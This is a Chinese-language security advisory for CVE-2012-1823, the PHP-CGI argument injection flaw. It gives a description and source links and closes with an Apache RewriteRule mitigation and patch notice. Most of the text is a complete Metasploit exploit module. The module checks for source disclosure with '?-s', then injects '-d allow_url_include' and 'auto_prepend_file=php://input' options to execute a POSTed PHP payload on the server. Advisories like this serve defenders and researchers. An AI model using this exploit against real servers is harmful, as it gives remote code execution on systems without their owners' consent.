PHP-CGI远程任意代码执行漏洞
PHP-CGI远程任意代码执行漏洞
发布日期：2012-05-03
更新日期：2012-05-04
受影响系统：
PHP PHP
描述：
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CVE ID: CVE-2012-1823
PHP是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。可以被各种Web服务器以多种方式调用，实现动态网页的功能。
PHP处理参数的传递时存在漏洞，在特定的配置情况下，远程攻击者可能利用此漏洞在服务器上获取脚本源码或执行任意命令。
当PHP以特定的CGI方式被调用时（例如Apache的mod_cgid），php-cgi接收处理过的查询格式字符串作为命令行参数，允许命令行开关（例如-s、-d 或-c）传递到php-cgi程序，导致源代码泄露和任意代码执行。FastCGI不受影响。
<*来源：eindbazen
链接：http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://ompldr.org/vZGxxaQ
http://zone.wooyun.org/content/151
http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html
http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
MetaSploit提供了如下测试模块：
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped ‘=’ in the query string,
the string is split on ‘+’ (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the “encoded in
a system-defined manner” from the RFC) and then passes them to the CGI
binary."
},
'Author' => [ 'egypt', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ "CVE" , "2012-1823" ],
[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'May 03 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [false, "The URI to request"]),
], self.class)
end
# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check
uri = target_uri.path
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri })
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end
response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
return Exploit::CheckCode::Vulnerable
end
print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def exploit
#sleep 100
begin
php_trues = [ "1", "on", "true" ]
php_falses = [ "0", "off", "false" ]
args = [
"-d+allow_url_include%3d#{rand_php_ini_true}",
"-d+auto_prepend_file%3dphp://input",
]
qs = args.join("+")
uri = "#{target_uri}?#{qs}"
p uri
# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => uri,
'data' => payload_oneline,
}, 0.1)
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end
end
def rand_php_ini_false
[ "0", "off", "false" ].sort_by{rand}.first
end
def rand_php_ini_true
[ "1", "on", "true" ].sort_by{rand}.first
end
end
建议：
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临时解决方法：
使用RewriteRule来过滤请求：
RewriteRule规则如下
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]
厂商补丁：
PHP
---
目前厂商已经发布了5.3.12及5.4.2两个最新版本，但有报告说并没有正确修复这个安全问题，请密切关注厂商网站下载最新版本：
http://www.php.net